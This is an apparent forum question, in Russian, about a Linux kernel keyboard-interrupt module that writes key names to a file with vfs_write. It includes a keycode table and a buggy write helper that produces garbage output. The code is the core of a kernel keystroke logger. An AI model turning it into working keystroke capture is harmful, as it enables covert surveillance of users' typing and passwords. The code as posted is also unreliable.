Я пытаюсь записать файл в пространстве пользователя из модуля прерывания клавиатуры. Я использую vfs_write для записи в файл.
static char *key_names_caps[] = {
"-", "<ESC>",
"1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=",
"<Backspace>", "<Tab>",
"Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P",
"[", "]", "<Enter>", "<LCtrl>",
"A", "S", "D", "F", "G", "H", "J", "K", "L", ";",
"'", "`", "<LShift>",
"\\", "Z", "X", "C", "V", "B", "N", "M", ",", ".", "/",
"<RShift>",
"<KP*>",
"<LAlt>", " ", "<CapsLock>",
"<F1>", "<F2>", "<F3>", "<F4>", "<F5>", "<F6>", "<F7>", "<F8>", "<F9>", "<F10>",
"<NumLock>", "<ScrollLock>",
"<KP7>", "<KP8>", "<KP9>",
"<KP->",
"<KP4>", "<KP5>", "<KP6>",
"<KP+>",
"<KP1>", "<KP2>", "<KP3>", "<KP0>",
"<KP.>",
"-", "-", "-",
"<F11>", "<F12>",
"-", "-", "-", "-", "-", "-", "-",
"<KPEnter>", "<RCtrl>", "<KP/>", "<SysRq>", "<RAlt>", "-",
"<Home>", "<Up>", "<PageUp>", "<Left>", "<Right>", "<End>", "<Down>",
"<PageDown>", "<Insert>", "<Delete>"
};
int file_write(struct file *file, unsigned long long offset, const char *data, unsigned int size)
{
mm_segment_t oldfs;
int ret;
oldfs = get_fs();
set_fs(get_ds());
ret = vfs_write(file, data, size, &offset);
set_fs(oldfs);
return ret;
}
static void write_byte_by_byte(char *pos[]) {
unsigned int count = 0;
while (*pos != '\0') {
count += 1;
pos++;
//printf("%c\n", *(pos++));
}
file_write(fp,0, (const char *)&pos, count);
}
Но я не могу прочитать файл, который выводится этим vfs_writeфункция.Вывод файла дает мне мусор значение.Также, можете ли вы сказать мне, как я могу записать строки из данного массива в файл, записанный vfs_write
Мне нужно иметь возможность записать <DELETE>
9
в виде символов в файл.